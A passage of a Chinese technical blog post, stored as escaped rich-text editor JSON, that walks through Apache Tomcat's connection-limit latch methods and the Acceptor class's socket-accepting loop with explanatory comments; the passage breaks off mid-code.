this.connectionLimitLatch;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lzNu-1659060301153&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;k9MJ-1659060301152&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (latch != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;C7DH-1659060301155&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tRAv-1659060301154&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            latch.countUpOrAwait();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QduC-1659060301157&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yvE4-1659060301156&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FTK6-1659060301159&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BrJV-1659060301158&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cydb-1659060301162&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BDlx-1659060301161&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GlbG-1659060301164&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aQx0-1659060301163&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vQ4T-1659060301166&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hX0s-1659060301165&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZJHQ-1659060301168&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8SZu-1659060301167&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;protected long countDownConnection() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6PAV-1659060301170&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;u4RV-1659060301169&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (this.maxConnections == -1) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TBiP-1659060301172&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7dTQ-1659060301171&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return -1L;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VU2S-1659060301174&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3dgF-1659060301173&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZC51-1659060301176&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hmsC-1659060301175&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        LimitLatch latch = this.connectionLimitLatch;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JSov-1659060301178&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BZkm-1659060301177&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (latch != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;igFd-1659060301180&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GPBP-1659060301179&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            long result = latch.countDown();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;V4AO-1659060301182&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;d94S-1659060301181&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (result &lt; 0L) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZjkB-1659060301184&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;plhX-1659060301183&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.getLog().warn(sm.getString(\&#34;endpoint.warn.incorrectConnectionCount\&#34;));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;twTT-1659060301186&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ODp0-1659060301185&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WfG8-1659060301188&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ersP-1659060301187&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WXk3-1659060301190&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tVnB-1659060301189&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return result;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vxkf-1659060301192&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QBhR-1659060301191&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hK7k-1659060301194&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1LvB-1659060301193&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return -1L;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ytAj-1659060301196&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IXwM-1659060301195&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vdRQ-1659060301198&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Sx6f-1659060301197&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;s6EM-1659060301200&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iYXn-1659060301199&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Fw2s-1659060265360&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;z8rM-1659060265359&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pTlL-1659060265642&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ibyq-1659060265638&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;......&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GYWU-1659060260082&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;da2Z-1659060260081&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Df9s-1659009847556&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ymRM-1659009847554&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CTXT-1659060471670&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h4&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WmBa-1659060471668&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Acceptor&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:18}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vTd2-1659060466890&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RSeW-1659060466888&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Acceptor用于接收链接。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JREw-1659060672860&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EKUK-1659060672859&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;w9tf-1659060654720&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//AbstractEndpoint中的原型&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TiZY-1659060808735&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tMLI-1659060808732&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;......&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OYAd-1659060814002&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Wcx6-1659060814000&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;v4yc-1659060808944&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TvEG-1659060808942&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public class Acceptor&lt;U&gt; implements Runnable {    &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mEqG-1659060673848&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3ujK-1659060673847&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static final int INITIAL_ERROR_DELAY = 50;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mXdX-1659060673850&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1VTy-1659060673849&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static final int MAX_ERROR_DELAY = 1600;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0QIA-1659060673852&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eits-1659060673851&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6cqb-1659060673854&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WhEQ-1659060673853&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    @Override&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CbcU-1659060673856&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NAko-1659060673855&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public void run() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LGJ7-1659060673858&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7wX8-1659060673857&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        int errorDelay = 0;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TBtm-1659060673860&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eUCe-1659060673859&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        // 循环，直到接收到一个关闭命令&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oMR3-1659060673862&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;q4R5-1659060673861&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        while (endpoint.isRunning()) {  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OFXZ-1659060673864&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ODDo-1659060673863&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            // 循环，如果Endpoint被暂停则循环sleep&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;poN6-1659060673866&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;O0a2-1659060673865&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            while (endpoint.isPaused() &amp;&amp; endpoint.isRunning()) { &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JLO6-1659060673868&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;15C9-1659060673867&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                state = AcceptorState.PAUSED;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9rUO-1659060673870&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;b3D7-1659060673869&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HwqG-1659060673872&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KHe9-1659060673871&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    Thread.sleep(50); // 50毫秒拉取一次endpoint运行状态&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jnaE-1659060673874&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gril-1659060673873&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } catch (InterruptedException e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9qb9-1659060896794&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IQrv-1659060896792&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CnFE-1659060673878&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;62k4-1659060673877&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IbqA-1659060673880&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SNKM-1659060673879&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VVei-1659060673882&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bw6U-1659060673881&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (!endpoint.isRunning()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZakI-1659060673884&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mhNK-1659060673883&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                break;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Xt9M-1659060673887&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kMno-1659060673886&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uPMR-1659060673889&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DVzm-1659060673888&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            state = AcceptorState.RUNNING;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;i8l3-1659060673891&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XIX9-1659060673890&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Mxxe-1659060673893&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oItv-1659060673892&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LeIS-1659060673895&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;suWJ-1659060673894&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                endpoint.countUpOrAwaitConnection(); // 判断最大连接数&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VMJ6-1659060673897&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PKwB-1659060673896&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                if (endpoint.isPaused()) { &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;T5f3-1659060673899&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Zo5C-1659060673898&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    continue;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KXBM-1659060673901&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KqSX-1659060673900&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7IQd-1659060673903&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IUbO-1659060673902&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                U socket = null;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QqGj-1659060673905&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;S89t-1659060673904&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;x1HY-1659060673907&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;17Zu-1659060673906&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    socket = endpoint.serverSocketAccept(); // 创建一个socketChannel接收连接&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TIhh-1659060673909&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pxew-1659060673908&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } catch (Exception ioe) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;m94M-1659060673911&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OJHu-1659060673910&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    endpoint.countDownConnection();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;koUt-1659060673913&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1rNI-1659060673912&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if (endpoint.isRunning()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Lrrz-1659060673915&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dsSi-1659060673914&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        errorDelay = handleExceptionWithDelay(errorDelay); // 延迟异常处理&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PaRX-1659060673917&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xLqf-1659060673916&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        throw ioe; // 重新扔出异常给c1处捕获&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wCNy-1659060673919&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Y0Vn-1659060673918&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    } else 